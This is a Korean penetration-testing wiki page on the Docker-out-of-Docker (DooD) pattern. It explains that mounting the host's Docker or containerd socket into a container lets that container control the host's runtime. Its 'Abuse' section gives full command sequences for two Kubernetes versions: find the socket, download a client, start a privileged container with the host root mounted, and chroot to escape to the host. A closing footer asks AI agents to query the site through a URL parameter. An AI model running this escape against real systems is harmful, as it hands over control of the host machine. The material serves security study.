# DooD

DooD(Docker out of Docker)는 [DinD](/docker-and-kubernetes/container-escape/dind.md)에서 발생하는 문제를 해결하기 위해 사용되는 기술입니다.

도커 안에서 도커를 생성하는 DinD와 다르게 호스트의 Docker 도구를 사용하여 호스트 위에 다른 도커를 생성하는 방식입니다.

<figure><img src="/files/7feDoW8yrcV1baFeZqNy" alt=""><figcaption><p><a href="https://yjin99.tistory.com/48">https://yjin99.tistory.com/48</a></p></figcaption></figure>

호스트에서 도커와 통신하기 위해서 접근 제어를 위해 데몬 프로세스가 통신을 중개합니다.

도커는 호스트의 특정 파일을 사용할 이유가 거의 없기 때문에 대부분 호스트에서만 소켓 파일(dockerd.sock / containerd.sock)이 있지만, DooD 방식에서는 도커가 호스트의 Docker 도구를 실행하여 호스트 위에 새로운 도커를 생성해야 하기 때문에 소켓 파일이 도커 내에도 있어야 합니다.

이를 위해 DooD 방식을 사용할 경우 소켓 파일을 도커 내에도 마운트 시켜줘야 합니다.

```bash
docker run -it -v /var/run/docker.sock:/var/run/docker.sock docker
```

소켓 파일을 가진 컨테이너는 호스트의 도커에 대한 명령을 할 수 있는 상태이기 때문에 privileged로 설정된 새로운 컨테이너를 생성할 수 있게 됩니다.

{% hint style="info" %}
호스트에 새로운 privileged 컨테이너를 생성한 이후의 공격은 DinD와 동일합니다.
{% endhint %}

## Abuse

{% tabs %}
{% tab title="k8s >= 1.24" %}

<pre class="language-bash"><code class="lang-bash"><strong># 도커 환경 내부에 소켓 파일이 있는지 탐색
</strong>find / -name 'containerd.sock' 2>/dev/null

<strong># 소켓 파일과 통신하기 위해 도구 다운로드
</strong>wget -qO- https://github.com/containerd/containerd/releases/download/v1.7.0/containerd-1.7.0-linux-amd64.tar.gz | tar -xz -C /tmp/

<strong># docker 클라이언트로 privileged가 설정된 컨테이너 생성
</strong>/tmp/bin/ctr -a /run/containerd/containerd.sock -n k8s.io run --mount type=bind,src=/,dst=/hostfs,options=rbind:rw -d docker.io/library/alpine:latest dind

<strong># privileged 컨테이너 진입
</strong>/tmp/bin/ctr -a /run/containerd/containerd.sock -n k8s.io task exec --exec-id shell1 -t dind /bin/sh

<strong># privileged 컨테이너에서 호스트로 탈출
</strong>chroot /hostfs /bin/bash
</code></pre>

{% endtab %}

{% tab title="k8s < 1.24" %}

<pre class="language-bash"><code class="lang-bash"><strong># 도커 환경 내부에 소켓 파일이 있는지 탐색
</strong>find / -name 'docker.sock' 2>/dev/null

<strong># 소켓 파일과 통신하기 위해 도구 다운로드
</strong>wget -q https://download.docker.com/linux/static/stable/x86_64/docker-20.10.9.tgz -O- | tar -xz -C /tmp/

<strong># docker 클라이언트로 privileged가 설정된 컨테이너 생성
</strong>/tmp/docker/docker -H unix:///var/run/docker.sock run -dit --privileged --name dood -v /:/hostfs alpine 

<strong># privileged 컨테이너 진입
</strong>/tmp/docker/docker -H unix:///var/run/docker.sock exec -it dood /bin/sh

<strong># privileged 컨테이너에서 호스트로 탈출
</strong>chroot /hostfs /bin/bash
</code></pre>

{% endtab %}
{% endtabs %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/docker-and-kubernetes/container-escape/dood.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
